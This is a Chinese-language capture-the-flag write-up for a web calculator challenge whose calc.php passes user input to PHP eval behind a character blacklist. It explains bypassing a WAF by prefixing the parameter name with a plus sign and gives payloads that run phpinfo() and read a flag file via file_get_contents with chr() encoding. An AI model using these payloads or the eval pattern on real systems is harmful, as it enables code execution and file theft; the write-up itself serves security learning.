题目一打开，是一个计算器。
主页源代码如下，这里可以看到有一个 calc.php 文件，并且提示存在 WAF（疑）。
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
访问 calc.php 如下，可以看到过滤了很多字符。
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
在 $num 中输入非数字，则会提示 403，判断可能是 WAF 拦截，猜测 WAF 是通过检测变量 $num 是否为数字来决定是否返回 403。因此，利用 PHP 的字符串解析特性来绕过检测。
PHP 的字符串解析特性
PHP将查询字符串（在URL或正文中）转换为内部$_GET或关联数组$_POST。值得注意的是，查询字符串在解析的过程中会将某些字符删除或用下划线代替。
例如：
/?foo=bar变成Array([foo]=>"bar")。
/? foo=bar变成Array([foo]=>"bar")。 # 注意，?号后有一个空格。
/?+foo=bar变成Array([foo]=>"bar")。 # 注意，?号后有一个+号。
因此，Payload：/calc.php?+num=phpinfo() 即可执行 phpinfo() 函数。
随后，使用 var_dump() 函数、scandir() 函数、file_get_contents() 函数即可读取到 flag，Payload：/calc.php?+num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))。